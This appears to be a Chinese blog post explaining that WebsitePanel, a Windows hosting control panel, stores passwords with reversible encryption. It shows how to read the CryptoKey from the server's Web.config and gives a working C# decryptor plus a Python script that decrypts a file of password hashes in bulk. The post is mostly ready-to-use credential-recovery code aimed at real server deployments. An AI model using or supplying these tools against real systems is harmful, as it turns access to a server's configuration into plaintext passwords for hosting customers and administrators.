WebsitePanel是一套Windows系统中的虚拟主机管理系统,可以同时管理多台服务器。

通过反编译该系统的dll发现该系统的密码加密方式可逆。

解密流程

1,获取密钥

密钥保存在  Enterprise Server\Enterprise Server\Web.config 文件中

<add key="WebsitePanel.CryptoKey" value="qgyd********a0drj" />中的value的内容即为密钥

2,替换代码中的密钥位置,保存为c#文件,编译

 1 using System;
2 using System.IO;
3 using System.Security.Cryptography;
4 using System.Text;
5
6 public class Hello
7 {
8 public static void Main(string[] args)
9 {
10 int arg;
11 //Console.WriteLine(args[0].ToString());
12 string InputText = args[0].ToString();
13 string cryptoKey = "<你的加密密钥>";
14 RijndaelManaged rijndaelManaged = new RijndaelManaged();
15 byte[] array = Convert.FromBase64String(InputText);
16 byte[] bytes = Encoding.ASCII.GetBytes(cryptoKey.Length.ToString());
17 PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(cryptoKey, bytes);
18 ICryptoTransform transform = rijndaelManaged.CreateDecryptor(passwordDeriveBytes.GetBytes(32), passwordDeriveBytes.GetBytes(16));
19 MemoryStream memoryStream = new MemoryStream(array);
20 CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);
21 byte[] array2 = new byte[array.Length];
22 int count = cryptoStream.Read(array2, 0, array2.Length);
23 memoryStream.Close();
24 cryptoStream.Close();
25 //return Encoding.Unicode.GetString(array2, 0, count);
26 Console.WriteLine(Encoding.Unicode.GetString(array2, 0, count));
27 }
28 }
29

3,编译后 decrypt.exe <password>即可解密单个密码

批量解密可把所有密码都保存到一个txt里,然后编写脚本批量解密,比如下面的python脚本

 1 import sys
2 import os
3
4 decrycmd = "WebsitePanel_password_decrypto.exe {password}"
5 fp = open("hash.txt","r")
6 hash = fp.readlines()
7 fp.close()
8
9 passwordlist = []
10 for p in hash:
11 p = p.strip()
12 content = os.popen(decrycmd.format(password=p))
13 passwordlist.append(p+" >>> "+content.read()+"\n")
14
15 fp = open("password.txt","w+")
16 fp.writelines(passwordlist)
17 fp.close()

最新文章

  1. hive与hbase整合过程
  2. Lisp学习--Windows下面的开发环境搭建
  3. 高端PCB设计相关知识整理
  4. [嵌入式开发板]iTOP-4412以模块的方式编译驱动
  5. 解决Failed to execute goal org.apache.maven.plugins
  6. C#的图片拼接
  7. 【STL源码学习】细品vector
  8. 创建range分区
  9. 网络流(最大流):POJ 1149 PIGS
  10. CodeForces 221(div 2)
  11. [LeetCode] 033. Search in Rotated Sorted Array (Hard) (C++)
  12. Xamarin.Android学习之应用程序首选项
  13. TDD 中关于mock一些理解
  14. 【学习笔记】C# 构造和析构
  15. 通知:QQ互联网回调地址校验加强
  16. android studio 运行项目时waiting for target device to come online
  17. 如何开会&mdash;&mdash;高效会议八项原则
  18. Confluence 6 数据库结构图
  19. 《全栈性能Jmeter》-6JMeter元件详解
  20. Spring 消息

热门文章

  1. vue 组件传值,(太久不用就会忘记,留在博客里,方便自己查看)
  2. Spring MVC json配置
  3. Python爬虫练习(requests模块)
  4. python面向对象(类与对象)
  5. 【CHOJ】磁力块
  6. Codeforces 1404 D. Game of Pairs
  7. 面试 之 nginx,负载,动静分离
  8. delete和truncate/drop恢复数据的过程
  9. 服务器虚拟化 - PVE
  10. Ceph部署mon出现0.0.0.0地址